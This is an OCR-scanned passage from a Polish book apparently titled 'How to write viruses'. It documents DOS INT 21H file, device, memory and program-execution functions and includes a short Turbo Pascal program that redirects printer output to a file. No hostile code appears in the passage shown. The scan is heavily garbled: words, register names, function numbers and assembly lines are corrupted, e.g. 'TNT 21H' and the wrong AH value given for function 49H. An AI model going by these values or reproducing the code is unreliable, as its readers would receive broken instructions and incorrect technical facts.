Powrét: Ustawiony znacznik C:
AX ~ kod bledu (2,3,5}
Nie ustawiony C:
oX
Opis: Funkeja tworzy katalog o nazwie podanej pod adresem DS:DX
Funkcja 3AH
Nazwa: Usuwanig katalegu
Wywotanie: AH = 3AH
DS:DX - adres taricucha w kodzie ASCIZ zawierajacego nazwe katalogu
Powrdt: Listawiony znacznik C:
AX - kod bledu (2,3,5,16}
Nis ustawiony C:
0K
Opis: Funkcja usuwa katalog, ktérego nazwa jest podana pod adresemn DS:DX
Funkcja 3BH
Nazwa: Ustalanie katalogu biezacego
Wywotania: AM =3BH
DS:DX — adres faricucha w kodzie ASCIZ zawierajgoego nazwe kalalogu
Powrdt: Ustawtony znacznik C:
AX - ked blgdu (2,3)
Nie ustawiony C:
QK.
Opls: Funkcja ustala katatog, ktérego nazwa jest podana ped adresem DS:DX jako katalog bisza-
¢y {zmienia katalog)
Funkcja 3CH
Nazwa: Tworzenie dojscia
Wywolanie: AH=3CH
DS:DX - adres faficucha w kodzie ASCIZ zawierajacego nazwe pliku
CX - atrybuty pliku
Powrdl: Ustawiony znacznik C:
AX - kod bledu {2,3,4,5)
Nie ustawiony C:
~AX = numer dojscia
Opis: Funkgcia tworzy plik o podane] nazwie, réwnoczesnie definiujac dort dojscie z uprawnienia-
mi do czytania i pisania w pliky. Nowy plik ma zerows, diugosc i atrybuty przekazane w reje-
strze CX. Jesl plik o podane]j nazwie juz istnieje ko zostaje zwolniona pamige dyskowa
przydzielona mu, nadana diugosé 0, ustaione nowe atrybuty i przyporzadkowane daojscie
2 uprawnieniami do czytania i pisania.
Uwagi: Jesli nie chcesz by funkcja ta przypadkiem zniszczyla zawartosé starej wersji pliky, to sto-

Jak pisac wirusy

suj zamiennie funkejg 5BH - tworzenie nowego pliku.
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Funkgja 3DH
Nazwa: Otwieranie dojécia
Wywolfanie: AH=30H
AL =tryb dostepu
DS:DX — adres faricucha w kodzie ASCIZ zawierajgcego nazwe pliku
Powrdt: Ustawiony znacznik C:
AX — kod bledu (2,3,4,5.12)
Nie ustawiony C:
AX - numer dojscia
Opis: Funkcja iworzy dojécie do phiku, kidrego nazwa jest pedana pod adresem DS:DX. Moze to
byé dowolny plik w tym systemowy lub ukryty. Tryb dosigpu do pliku jest przekazywany
w AL. Znaczenie bitow jest nastepujace.
bity warlosé Zhaczenie.
- 0 Pracesy polomne dzledzicza dojscie wraz z numerem.
1 Procesy potomna nie dziedzicza dojssia.
4.8 000 Kazdy proces moze otworzy¢ plik wislokrotnie z prawem do pisania ifub ¢zytania, ale tylko
w tym frybie. i
oM Petna wylacznosé. Nie moga istniec zadne inne dojscia do pliku, hawet tego samego procesu.
010 Wylacznosé na pisanie. Pozostate dojécia moga mie¢ prawo tylko do czytania i nie moga by¢
otwarte w trybie 000
a1 Wytacznosd na pisanie. Pozostate doj$cia moga mieé prawo fylko do czytania i nie moga byc
gtwarle w trybie 000
100 Moga istnied inne dojgcia z prawem do czytania iub pisania, ale nie otwarte w trybie 000.
0.3 0000 Prawo do czytania .
0001 Prawo do pisania .
0010 Prawo czytania i pisania w pliku.

Proba utworzeniz dojéeia, kitrego tryb dostepu byfby sprzeczny z dojéciami utworzonymi poprzednio koficzy sie bledam,
& W przypadku gdy system nie moze utworzyd dojécia z powodu konfiiktu trybow dostepu lub innych przyczyn wywolywane
jest przerwanie 24H 2 kodem bledu 2, a funkcja 59H jake kad blgdu zwraca 32 (Bledna proba dostgpu do pliku dzielonego).

Funkeja 3EH
Nazwa: Zamykanie dojscia
Wywotanie: AR =3EH
BX - numer dgjscia
Powrat: Ustawiony znacznik C:
AX — kod btgdu (6)
Nie ustawiony C: O.K.
Opis: Funkcja zamyka dojscie o numerze przekazanym w AX i czy$ci wszystkie bufory zwiazane
Z plikiem.
Funkcja 3FH
Nazwa. Czytanie przez dojscie
Wywoltanie: AH = 3FH

Jak pisac wirusy

BX - humer dojscia
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CX - liczba bajtow do przeczytania.
D5:DX - adres bufor

e A L R

Powrot. Ustawiony znacznik C:
AX - kod bledu {5,6)

b Nig ustawiony G
& AX ~liczba przeczylanych bajiow
’ Opis: Funkeja powoduje przeczylanie z dysku lub urzadzenia zwiazanego z dojscien, kidrego nu-
k mer jest przekazany w BX tylu bajtow, ile przekazanc w CX i przestanie ich do bufora, kid-
a rego adres znajduje sig w DS;DX. Po wykonaniu funkgji ustawienie znacznika C oznacza
!i bigd. W przeciwnym razie w rejestrze AX znajduje sig liczba przeczytanych bajtdw, Po czy-
i

taniu funkeja ustawia wewnetrzny wskaznik pozycii pliku tak, aby wskazywat na bajt naste-
pry po ostainio przeczytanym, tak aby mozliwe byio sekwencyine czylanie z pliku. Qczywi-
$Cia moZasz tg sexwancyjnetd popsué stosujae funkoje 42H.

Uwagi: Nie zawsze fakl, iz liczba bajtéw do przeczytania jest rézna od liczby faktycznie przeczyta-
nych bajtéw musi oznaczac btad, Na przyktad jesli dojécie jest zwigzane z klawiatura, 1o
czytanie moze sig skonczyé po naciénieciu klawisza ENTER.

- et it

Funkeja 40H
Nazwa; Pisanie przez dojscic
Wywolanie: AH = 40H .

BX — numer dojscia
CX - liczba bajtow do zapisania
DS8:DX - adres bufora

Powrdt: Ustawiony znacznik C:
AX - kod bledu (5,6}
Nie ustawiony C:
AX — liczba zapisanych bajtow

Opis: Funkeja zapisuje do pliku Iub urzadzenia 2wigzanego z dojéciem, ktdrego numer jest prze-
kazany w rejestrze BX bajty znajdujgce sie w buforze, kidrego adres zawiera DS:DX. Licz
ba bajtéw do przeczylania jest przekazywana w rajestrze CX. Po zapisie wewngtrzny
wskaznik pozycji pliku jest przesuwany tak, aby wskazywat na bajt naslepny po ostainio za-
pisanym, W ten sposow mozlive jest sekwencyjne zapisywanie w pliku. Wywotanie iej fun-
keji z zawartoseia CX rdwna 0 powoduje zmiane wielkosc pliku na takq jaka aktualnie
wskazuje wskainik pozycjt. Znaczenie parametrow zwracanych przez funkcje jest opisane

POWYZE;.
Funkcja 41H
Nazwa: Usuwanie pozycji z katalogu
Wywetanie: AH = 41H
DS:DX —adres taricucha w kodzie ASCIZ zawlerajgcego nazwe pliku
Powrdt: Ustawiony znacznik C:

AX —kod bledu (2,3,5)
Nie ustawiony C: O.K.

Opis: Funkacja usuwa plik z katalegu, kidrego nazwa znajduje sig pod adresem poadanym
w DS:DX. W nazwis nie moga wystepowacd symbele specjalne 7 i* . Nie mozna usunag pli-
KU I ustawionym atrybutem Read Onfy W takim pliku nalezy najpierw zmisnic atrybuty fun-
kejg 43H.

Uwagi: Prakiycznie kasowanie plikdw odbywa sie w ten sposob, ze w pierwszy znak jego nazwy
w katalogu zostaje zastaplony znakiem o kodzie 229 (0ESH) | zostaje zwolniona pamigé
dyskowa przydzielona mu. Natomiast sama zawartosé pliku nie fest fizycznie niszczona,

Jak pisac wirusy Strona:211
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Stad wiele programdw potrafigcych odratowag skasowane pliki {migdzy inrymi UNDELETE
w DOSie piatce).

Funkcja

42H

MNazwa:

Wywotanie:

Powrdt:

Opls:

Uwagi:

Ustawianie wskaZnika w phku

AH = 42H

AL - sposob przesuwania

BX - numer dojscia

CX:DX - adlegtosé, na kidra nalezy przesunad wskaznik pozycii

Ustawiony znacznik C:

AX - kod bigdu (1,6)

Nie ustawiony C.

XAX - nowe pofozenie wskainika pozycii.

Funkcja zmiania potozenie wewngtrznego wskaZnika pozycji w pliku, zwigzanym z doj-
iciem, Ktdrago numer przekazany jest w BX. Rejestry CX:DX zawiarajg 32-bitowg odle-
ghost w bajtach. Zawarlosc rejestru AL okreéla punkt, od kidrego nalezy liczyc tg odle-
giosc. Znaczenie przekazywanych waroscl jest nastepujace:

0 - od poczatku pliku

1 - od bieZacej pozycji wskaznika

2 — od korica pliku

W rejestrach DX:AX po zakoriczeniu funkeli jest zwracans nowe pofoienie wskaznika pozy-
¢jf pliku.

Funkgii tej mozesz uzywac do okreslenia dtugosci pliku. Wywolaj ja z parametrami Al=2,
CX=0, DX=0 a w rejestrach DX:AX dostaniesz rozmiar pliku.

Jedli odleglosd liczona jest od korica pliku to powinna by¢ podana jake liczba ujemna. Do
zapisu takich liczb stosuje sie kod uzupelnieniowy do 2. Jest to zmodyfikowany zapis liczby
w systemie dwdikowym (patrz rozdziat ). Rééni sig on tylko tym, 17 najbardziej znaczgca
potega dwojki jest dodawana ze znakiem ujemnym. Przykiadowo 11111111 wtym kodzie
oznacza —1 {-1*128+1°84+1°32+1*16+1+1°8+174+1°2+41*1) 01113111 oznacza 127,

a 11000000 —64. Praktycznie aby wpisac np liczbe -100 do rejestréw CX:DX wystarczy wy-
konag instrukeje:

MOV CX -1 ;0FFFFH

MOV DX,-100

Oczywiscie procesor tylko z kontekstu wie, czy dana liczba jest zapisana dwdjkowo, czy
w kodzie uzupelnieniowym (np 81H moZe cznaczac zardwno —127 jak i 129) | diatego na
programidele spoczywa obowlazak kontroll typdw.

Funkcja

43H

Nazwa:

Wywotanie:

Powrdl:

Opis:

Jak pisac wirusy

Sprawdzanie lub zmiana atrybutdw pliku
AH = 43H
AL =
0 - pobranie atrybutéw.
1 - zmiana atrybutdw.
CX - nowe atrybuty (jesi AL =1}
DS:DX - adres faricucha w kodzie ASCIZ zawierajacego nazwe pliku
Ustawiony znacznik C:
AX — kod bledu {1,23,5)
Nie ustawiony C.
CX - atrybuty pliku (jesli AL=0)
Funkcja pobiera {AL=0) lub ustawia{AL=1} atrybuty plku, kidrego nazwa jest przekazana
pod adrasem DS:DX. Przy pomocy te] funkeji nie mozna zmieniaé atrybutu identyfikatora
dysku eni atrybuty katalogu.
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Funkeje 4400H i 4401H

Nazwa: Pytanie o opis urzgdzenia / ustalanie opisu urzadzenia

Wywotanie: AH = 44H
AL=

{ — pytanie ¢ opis urzadzenia.
1 — ustalanie opisu urzgdzenia
BX - numer dojécia do urzadzenia
DX - opis urzgdzenia {jesli AL = 1)
Powrdt: Ustawiony znacznik C:
AX - kod bledu (1,8)
Nie ustawiony C:
DX - opis urzadzenia (jesl AL =0)

Opis: Funkcja pyta o stan urzadzenia lub ustala go.Stan urzadzenia jest przekazywany lub zwra-
cany w rejestrze DX. W zaleznodel od wartosel 7 bity tego rejestru, dane o urzgdzeniu mo-
gz by€ odezytywane na dwa sposoby:

kit 7 = 1 Urzadzenie znakowe
15 Zarezerwowane
14 _ 3 Urzadzenie akceptuje polecenia przesytana funkcjami 4402H i 4403H. Bit
- tylko do odczylu.

13 = 1 Urzadzenie utrzymuje wyiscie dopdki 7ajate. Bit tylko do adezytu.

12 Zarezerwowane

11 = 1 Urzgdzenie reaguje na polecenia open/close

10 8 Zarezerwowane

6 = ] Keniec pliku przy czytaniu

5 _ i Nie sprawdza czy w ciggu znakdw znajdujz sie znaki sterujgee {Control-C,

- Control-P, Contral-S, Control-Z}

4 Zarezerwowane

3 = 1 Urzgdzenie jest standardowym zegarem systemowym

2 = 1 Urzadzenie jest standardowym urzadzeniem pustym (NULL}

1 = 1 Urzadzenle jest monitorem konsoli

0 = i Urzadzenie jest klawiaturg konsoli

o hit7 | = D Urzadzenie bickowe lub plik

15 8 Zarezerwowane
6 = 0 De pliku coé zapisywanc od czasu ostainie] modyfkadii
0 Numer napedu

Przy ustalaniu stanu urzadzeniz bity zarezerwowane i tylko do odezytu muszy byc wyzerowane.

Uwagi: Najlepszym sposobem zmiany jest przeczytanie opisu, zmiana cdpowiednich Ditdw i wysta-
nie do urzadzenia.

Funkcje 4402H i 4403H.

Nazwa: Wyslanie polecenia / Odbieranie informacji od urzadzenia znakowego

Jak pisac wirusy
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Wywotanie: AH = 44H
Al =
2 —wyshanie polecenia do urzqdzenia znakowego
3 — odbieranie informaciji od urzgdzenia znakowego
BX - numer dejécia do urzadzenia
CX - Liczba bajtéw do przeczytanie / zapisania
D3:0X - Adres bufora
Powrdt: Ustawiony znacznik C:
AX - kod bledu {1,6)
Nie ustawiony C:
AX — Liczba przacrytanych bajtéw
Opis: Funkcja przesyla do urzgdzenia / odbiera 2 urzadzenia znakowego polecenia i informacie.
Znaczenie polecer wydawanych tg droga zalszy od programu abslugi urzgdzenia znakowe-
go (palrz rozdziat 2).
Uwagi: Funkcje te majg zamierzone dzialanie gely ustawiony jest 14 bit opisu urzgdzenia (patrz fun-
keie 4400H i 4401H).
Funkcje 4403H i 4404H
Nazwa: Whystanie polecenia / Odbieranie informaci od urzadzenia blokowego
Wywotanie; AH = 44H
AL =
2 - wystanie polecenia do urzgdzenia blokowego
3 - odbieranie informacji od urzadzenia blokowege
BX — numer urzadzenia (C=dysk biezacy, 1=A, 2=B itd.)
CX - Liczba bajtéw do przeczytanie / zapisania
DS:DX - Adres bufora
Powrdt: Ustawiony zracznik C:
AX - ked btedu (1,5)
Nie ustawiony C:
AX - Liczba przeczytanych hajtow
Opis: Funkeja przesyla do urzadzenia / odbiera z urzadzenia blokowego polecenia i informacie.
Znaczenie poleceri wydawanych tg droga zalezy od programu obstugi urzadzenia blokowe-
qo {patrz rozdziat 2).
Funkgje 4406H i 4407H
Nazwa: Pytanie o stan urzadzenia wejsciowego/wyjsciowego
Wywolanie: AH = 44H
AlL=
§ - Pytanie o stan urzadzenia wejsciowego
7 - Pytanie o stan urzgdzenia wyjsciowego
BX - numer dojécia do urzadzenia
Powrdt: Uslawiony znacznik C:
AX ~ kod btgdu {1,5,6,13)
Nie ustawiony C:
AL=  00H - Urzadzenie nie gotowe
OFFH - Urzadzeénia gotowe {Przy czytaniu z pliku -
koniec pliku)
Opis: Funkcja zwraca stan urzadzenia lub pliku zwigzanego z doj$ciem, ktdrego numer znajduje

Jak pisac wirusy

sie w rejestrze BX. Znaczenie parametrow jest takie jak powyzej.
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Funkcja 4408H

Nazwa: Pytanie, czy wzgdzenie ma wymienny nosnik

Wywolanie: AH=44H
AL =08H
BX — numer urzadzenia (O=dysk biezacy, 1=A, 2=Bitd )

Powrdt: Ustawiony znacznik C:

AX — kod btedu (1,15}
Nig ustawiony C:
AX =
0 - Urzadzenie ma wymienny nosnik
1 - Urzgdzenie nie ma wymiennego nosnika

Opis: Funkcja zwraca w rejestrze AX informacjg, czy urzadzenie o numerze przekazanym w BX
posiada wyrienny nosnik {Np. Stacja Dyskéw) , czy nie (Dysk twardy).

Uwagi: Uzywa] te] funkcjl na prayklad wiedy gdy na dysku nie ma plikdw potrzebnych programowi
t trzeha wydrukowad komunikat o wymianie dyskietek. Sam kilkakrolnie w starszych grach
spotkatem sig 2 napisami typur: , Pul The Original Game Disk inta Drive C, czy Change
Disk in Drlve C:".

Funkcja 4409H

Nazwa: Pytanie, czy urzadzenie blokowe jest dostepne przez sie¢

Wywotanie: AH = 44H
AL = 09H
BX - numer urzgdzenia (O=dysk biezgcy, 1=A, 2=B itd.)

Powrdt: Ustawiony znacznik C:

AX — kod btedu {1,5)
Nie ustawiony C;
DX - atrybuty urzadzenia

Opis: Funkcja okresla, czy urzadzenie blokows o numerze podanym w BX jest dostepne w sieci.
w rejestrze DX zwracane 3 atrybuty urzadzenia. Jesli bit 12 tych atrybuidw jest wyzerowe-
ny to urzadzenie jest zainstalowane w komputerze lokalnym (czyl w tym, z kidrego wiasnie
karzystasz). Jesli w rejestrze DX przekazane jest stowao, kidrega 12 bit jest ustawiony, a po-
zostale wyzerowane to urzadzenie jest urzadzeniem odleglym (czyll jest zainstalowane
W innym komputerze sieciowym).

Funkcja 440AH

Nazwa: Pytanie, czy plik lub urzadzenie jest dostepne przez sied

Wywolanie: AH = 44H
AL =0AH
BX - numer dojscia

Powrot: Ustawiony znacznik C:

AX - kod Hedu {1,5)
Nie ustawiony C:
DX - atrybuty
Opis: Funkcja okresla, czy urzadzenie iub plik zwigzane z doj$ciem o numerze podanym w BX

Jak pisac wirusy

jest dostgpne w sieci. w rejestrze DX zwracane $g atrybuty. Jesh bit 15 tych atrybutéw jest
wyzerowany 1o dojscie prowadzi do pliku lub urzgdzenia lokalnego. Jesli bit ten jest usta-
wiony, to urzgdzenie ub plik jest odlegte (czyli zainstalowane w innym komputerze siecig-

wymy.
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Funkcia

440BH

Nazwa:
Wywotanie:

Powrdl:

Qpis:

Ustalania liczby nawrotow

AH = 44H

AL = 0BH

NX - Liczba nawrotdw

CX - Czas pomigdzy ponownymi probami operacji dyskowych

Ustawiony znacznik C:

AX — kod bledu (1)

Nieustawiony C.

0K

Funkcja okresla ile ma wykonad nawrotdw operacji dyskowych, zakoriczonych bigdem
przejéciowy {Np proba dostgpu do zarezenwowanego pliku) i jaki ma byé czas pomigdzy ty-
mi prébami. Po wykonaniu tej liczby nawrotdw system w przypadku tiqdu wywofa przenva-
nie 24H. Standardowo DOS powtarza operacie dyskowe trzy razy. OpdZnienie migdzy prd-
bami jest realizowane po prostu przez instrukgje.

MOV CX, czas

delay: LOOP delay

tak wisc zalezy od szybkosci procesora.

Funkcja

440CH

Nazwa:
Wiwotanie:

Powrdt:

Opis:

Ustalanie mairycy 7nakdw urzadzen
AH = 44H
AL=0CH
BX - numer dojécia do urzgdzenia
CH - Typ urzadzenia:
=0 -nieznang
=1 -COMn (urzedzenie szeregowe)
=3 -CON (konsola)
=5  -LPTn(Drukarka réwnolegta)
CL=
4CH - Zaczni przygotowywad maltryog
4DH - Przygotu] matryce
4AH - Wybierz przygolowana matrycg
6AH - Pobierz biezaea matryce
6AH - Pobierz lista przygotowanych matryc
DS:DX - Adres bufora z danymi
Ustawiony znacznik C:
AX - kod btedu (1)
Nie ustawiony C:
DS:DX - Bufor z danymi moze zawiarad dodatkowe informacie.
W systemie operacyjnym MS-DOS powyze] wers]i 3.30 Istnieje moZliwosc programowego
wymieniania matryc znakow dia danego kraju. Niekicre programy obslugi urzgdzen pobie-
raja informacie © matrycy znakéw ze zbiordw 2 rozszerzeniem CPI (Code Page Info}. DZig-
ki tej funkeji mozna zmieniaé ustawione matryce znakdw lub otrzymywad o nich informacje.
(Matryca jest identyfikowana numerem, faklyczna jej zawartosc zalezy od urzadzenia dia
ktérago jest zdefiniowana)

Format danych funkeji (pod adresem DS:DX)

Jak pisac wirusy
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Uwagi:

Jak pisac wirusy

CL=4AH, 4DH, 6AH
Offs Rozmiar Zawartosc
12 2 Rozrniar
+4 2 d Matr ldentyfikator matryey
. CL=4CH
Offs Rozmiar Zawartos¢
ﬁ +2 2 Atrybuty
: +4 2 Rozmiar reszly danych w bajtach
? +6 2 Liczba matryc (n)
E +8 2 b5 01 Pierwsza matryca{np 1b5H = 437 = USA)
\ +0aH 2 Druga matryca
+8 2 N-ta matryca
CL=68H
Cifs Rozmiar Zawartose
+0 2 Diugosé listy w bajtach
+2 2 Liczba malryc sprzetowych {N)
+4 2 Sprzgtowa matryca nr 1
+6 2 Sprzgtowa matryca nr 2
+7 2 Sprzetowa matrycanr N
+1 2 Liczba przygotowanych matryc (M)
+7 2 Przygolowana matryca nr 1
+7 2 Przygotowana matryca nr 2
+7? 2 Przygolowana matryca nr M

Maksymalnie moze istnie¢ 12 sprzetowych i dwanascie przygotowanych matryc.

Struktura pliku z definicig matryc znakéw ( CPI) przedstawia sig nastepujaco:

Nagtowek matrycy

Nazwa matrycy

Offset bloku informadji o znakach
Informacie o znakach

Informacja o matrycy

Wskaznik na nastepng matryce
Typ urzadzenia
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Numer malrycy
Offsat danych o znakach
Dane ¢ fontach

Liczba zdefiniowanych fontéw (N}

Font 1
wiersze,kolumny (np VGA: 16, 8}
Liczba zdefiniowanych znakow
definicje znakdw

Font 2

Fontn

Funkcja 440DH

Nazwa: Qgdlna kontrola urzadzen blokowych
Wywolanie: AH = 44H
AL =0DH
BL — numer dysku (0-hiezacy, 1=A, 2=B, itd.)
CH=08H
CL - Kod funkeji patrz ponizej
S:DX ~ adres bloku paramestréw — 1

Powrst: Ustawlony znacznik C:
AX - kod bledu (1,2)
Nie ustawiony C:
OK.
Opis: Funkgja stuzy do czytania, pisania, formatowania dysku logicznege. Nastgpujgce kody sub-

funkcjt moga by¢ przekazywane w rejestrze BL:

Kod Znaczenie

40H Ustal paramelry urzqdzenia
414 Zapisz Scieike urzadzenia logicznego

42H Formatyj §ciezke urzadzenia logicznego
§0H Pobierz parametry urzadzenia

§1H Czytaj Sciazkq urzgdzenia logicznege
62H weryilkj dciaike urzadzenia logicznegoe

Postad bloku parametrow dla poszezegdinych sub-funkeji:

CL=40H,CL=60K:
Bait Funkcje Specjalne
Bait Typ Urzadzenia
Stowo Atrybuty Urzadzenia
Stowo Liczba Cylindrdw
Bait Typ Nosnika
BPB urzadzenia
Utozenie Sciazek

Jak pisac wirusy Strona:218
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Znaczenie poszezagdinyeh pdl jest nastgpujace;

Cl=41H, Cl=81H

Liczba sekiordw na dysku (N}
Numer sektora 1
Rozmiar seitora 1

Numer seklora ¥
Rozmiar sektcra i

Bajt Funkcje Specialne {=0}
Slowo Numer Glowicy

Slowo Numer Cyiindra

Stowo Numer Pierwszego Sektora

Jak pisac wirusy
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Funkcje Specialne:
Bit Wartosé | _ Znaczenie
0 0 Pole BPB urzgdzenia zawiera nowe BPB dlatego urzadzenia
i 1 ignoryj wszystkle pola bloku poza Utezeniem clezek “
2 0 Sektory w Sciezce nie moga byc jednakowych rozmiardw ]
3.7 0 Musza byc wyzerowane
Typ Urzadzenia:
| Warlosc ) Znaczenie
0 320/360 KB
1 12mM8
2 720 KB
3 8" pojedyneza rozdzielczose -
4 87 podwdjna rozdzieiczosd
5 Dysk twardy
. Tasma magnetyczna
7 Inne
Atrybuty Urzadzenia:
8it Warlosé Znaczenig
o 1 Urzadzenie 7z wymiennym nognikiem
1 1 Urzadzenie dyskowe wymagajace zamknigcia
2.7
Typ Nodnika: Jesli bit 0= 0, to jest to stacia dyskdw gestych {1.2 MB}, jesli bit 0=1, to stacja dyskdw pod-
wajnej gaslosei (360 KB}
BPB urzadzenia: Jesli bit O Funkeji Specjalnych = 0 to pole to zawiera nowy blok BFB {patrz rozdziat 2) dia
tego bloku. :
Utozenie Sciezek: Pole ma nastepujacy format:
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Stowo Liczba Sektdw
4 baity Adres Bufora

Ci=42H, CL=82H

Baijt Funkcje Specjalne (=0)
Stowo Numer Glawicy

Slowo Numer Cylindra

Funkcje 440EH,440FH

- Nazwa: Pobierz/Ustaw mapg urzadzenia
Wywolanie: AH = 440H
AL=
0EH - Pobianie urzadzenia logicznego zwigzanego
Z fizycznym
0FH - Ustalenie urzadzenia logicznego
BX — numer urzadzenia (O=dysk biezacy, 1=A, itd. ;jes! AL=0FH}

Powrot: Ustawiony znacanik C:
AX —kod btedu (1,5)
Nie ustawiony C:
AL - urzadzenie logiczne przyporzadkowane do fizycznegoe.(jesli AL = OEH; zwraca 0 jesli
z urzadzeniem fizyeznym jest zwiazane tylko jedno urzadzenie logiczne}

Opis: Funkcja pozwala zwigzaé urzadzenie logiczne z fizycznym. Funkeja jest przydatna tytko
wiedy gdy jednemu urzadzeniu blokowemu odpowiada wigee] niz jedno urzadzenie logicz-
ne

Funkcja 45H

Nazwa: Kopiowanie dejscia

Wywolanie: AH = 45H

BX = numer dojscia

Powrdt: Ustawiony znacznik C.
AX - kod bledu (4,6}
Nie ustawiony C:
AX - nowe dojscie

Opis: Furkeja tworzy nowe dojscie do pliku. W rejestrze AX podawany jest numer dojscia do pli-
ku, W rejestrze BX funkcja zwraca nowy numer dojscia do fego samego pliku.
Uwagi: Funkgji tej L2ywa sig zazwyczaj wraz z funkejg 46H do zmiany standardowych strumien.
Funkcja 46H
Nazwa: Zmiana dojscia
Wywotanie: AH = 46H
BX ~ numer pierwoinego dojécia
CX ~ numer widrnego dojscia
Powrdt: Ustawiony znacznik C:
AX ~ kod bledu {4,6)
Nie ustawiony C:
0K
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Opis: Powyzsza funkcja zmienia dojécie widme, przekazane w CX, tak aby bylo kopia dojscia
pierwotnego, przekazanego w BX. Stosuje sie jg zazwyczaj przy zmianie znaczen standar-
dowych strumigni.

Uwagi: Ponizej znajduje sig program zmieniajacy znaczenie standardowego strumienia drukark,

tak aby byt on zwigzany z plikiem. Dia uproszczenia czynnosci zwigzanych z uruchamia-
niem procesu program jest napisany w Turbe Pascalu.

**t**************it**i***i****l*******ﬁ*****************t**k**iti}

{* . *}
{#* Pragram Druk Andrze] Dudek Pazdziernik 1%92 :}
{1

*}

{* Uruchomienie programu, ktorego nazwa jest przekazywana jako b

{* parametr coraz skierowanie standardowego strumienia drukarki
{* do zbioru. 3
{* *}
{* Uzycie : . *
{* Druk nazwa_zbioru tekstowego nazwa_pIrogramu parametry_programu:}
*

{**t**t*******************ﬁ***it**********************************}

{gm 4000.0,0}
{5£+)

uses dos;
Var )
Progr,Drukarka, Parametry:String;

i ihyte;
Lahel

Tymcz, Druk;
begin
If Paramcount=0 Then
Begin
writeln('Podaj nazwe zbioru do ktorege kierowane maja byc wydruki:'};
Readln{Drukarka) ;
Drukarka:=Drukarka+#0;
End
Else
Drukarka:=Paramstr (1) +#0;
If Paramcount«<=1 Then

Begin
Writeln;
Writeln(’'Podaj nazwe programu do uruchomienia;’);
Readln(Progr};

End

Else

Progr:=Paramstr{2);
Parametry:=""; .
For 1:=3 To Paramcount D¢ Parametry:=Parametry+Paramstr (i}+’ :

Asm

JMP @l
Druk: db -
db *
Tymez: db 0,0
@l :
BIEH NS
MOV AX, SEG Tymez
MO LS, AX
MOV AX,SEG Drukarka
MOV Eg,AaX
MOV CX,127
az2:
MOV BX,CX
MOV AH,BYTE PTR ES:Drukarka [bx]
MOV BYTE PTR Druk[bx],ah
LOCP g2
MOV AH, 45H
MOV BX,4
INT 21H
MOV WORD PTR [Tymez], AX
MOV AH,3CH
MOV cx,0
LEA DX, Druk
INC DX
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INT 21H

MOV BX, AX

MOV cX, 4

MOV BAH, 46h

TNT 21H

MoV AH, 3EH

INT 21H

POP DS

end;

EXEC(Progr, Parametry}:

asm

MoV AX, 5EG Drukarka

MOV DS, AY

MOV EX,WORD PTR [kymom]

MOV CX,4

MOV AH, 4EH

INT 21H

end;

end.

Funkcia 47H

Nazwa: Pytanie o katalog biezacy

Wywotanie: AH = 47H
DS:51 - adres 64-bajtowego bufera
DL —dysk {O=biezacy, 1=A, itd)

Powrot: Ustawiony znacznik C:
AX - kod btedu {15}
Nie ustawicny C:
QK. —w buforze nazwa katalogu

Qpis: Funkeja zwraca do bufora znajdujgeeqo sie pod adresem DS:81 nazwe katalogu biezace.
go, na dysku o numarze podanym w DL, Nazwa moze mie¢ maksymalnie 64 znaki w ko-
dzie ASCIZ.

Funkcja 48H

Nazwa: Przydzielanie pamieci procesowi

Wywolanie: AH=48H
BX - Liczba potrzebnyeh paragrafdw (16-bitowych) pamigei

Powrét: Ustawiony znacznik C:
AX - ked bledu (7,8)
BX - liczba destepnych paragratéw pamigct Nie ustawiony C:
AX - segment, w kidrym znajduje sig przydzielona pamigé

Dpis: Funkeja przydziela procesowi spéjny obszar pamieci, kidrego obszar jest przekazany w pa-
ragrafach (16 bitdw) w rejestrze BX. Po przydzieleniu pamigci znacznik C jest wyzerowany,
a w rejestrze AX znajduje sie adres pierwszego segmentu zawierajaceqo przydzielong pa-
mig€. Jesh brak dostateczne] ilosci pamigei na spetnienie Zgdania, to znacznik C jest usta-
wiany, g rejesir BX zawiera maksymaing liczbe dostepnych paragraiow.

Funkcja 49H

Nazwa: 2walnianie pamieci

Wywotanie: AH = 48H
ES - segment, w kidrym znajduje sig zwalniana pamigd

Powrét: Ustawiony znacznik C:
AX — kod btedu (7 9)
Nie ustawiony C:
QK.

Jak pisac wirusy
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Qpis: Funkeja zwalnia pamie uprzednio przydzielong przez turkgg 48H
Funkcja 4AH

Nazwa: Zmiana wielkosci przydzielone] pamigei

Wywotanie: AH = 4AH

BX — Liczba paragraféw {16-bitowych) pamigc
ES - Segment zmieniang| pamigei
; Powrot: Ustawiony znacznik C:
} AX - kod btgdu (7,8,9)
5 BX ~ Maksymalna liczba dostgpnych paragraiow
. Nie ustawiony C: O.K.
ﬂé : Opis: Funkcja zmniejsza/zwigks.za pamig przydzielong przy pomocy funkeji 48H. Jesli system
nie moze prrydzielié cate} zadane] pamigci, to w rejestrze BX zwracana jest liczba paragra-
féw (16 bajtow) dostepnych w systemie,

i Uwagi: Po rozpoczeciu pracy procesu, system przydziela mu catg dostgpna pamigc.
3 Mozesz uzyé tej funkeji aby zmniejszy¢ pamigé przydzielona procesowi, w celu, na przyktad, uruchomienia procesu
i* pofomnego.
t
3 Funkcja 4B00H
Nazwa: tadowanie i uruchamianie programu
; Wywolanie: AH = 4BH
5 AL =00H
3 DS:DX - adres faricucha zawierajacege nazwe pliku z programem
ES:BX - adres bloku paramelrdw
o Powrot: Ustawiony znacznik C:
;. AX, - kod btedu (1,2,3,4,58,10,11)
5 Hie ustawiony C: O.K.
Opis: Funkeja tworzy nowy proces | urachamia program z nim zwigzany. Obraz programu mus

znajdowad sie w zbiorze z rozszerzeniem .COM lub .EXE, kidrego nazwa w kodzie ASCH
najduje sig pod adresem wskazywanym przez DS:DX. ES:BX wskazuje na adres blcku
parametrow, kidrego postac jest nastgpujaca:

Offset Huzmia:_f_._' Opis
0 2 Adres segmentu Sradowiska (00 oznacza érodowisko procesu macierzystego).
3 2 4 Adres wiersza polecenia, kidry ma zostad umieszezony na pozyeii 60H PSP.
; 6 4 Adres bloku FCB, ktdry ma byé umigszczony na pozycji 5CH w PSP
3 0AH 4 Adras bloku FCB, ktéry ma by¢ umigszezony na pozycji 6CH w PSP

Wszystkie pozycje w bloku parametrow musza miec format taki sam jak odpowiadajace im pozycje w przedrosthu procesu
(PSP). Srodowisko oraz wszystkie otwarte piiki i dojscia procesu macierzystego (z wyjatkiem tych, w kidrych jawnie ckreslona
byla wytacznosé dostepu) sa dosigpne dfa procesu potomnego.

Uwagi: Funkgja ta jest bardzo czesto stosowana, do chwilowego ,opuszczania” programu | urucha-
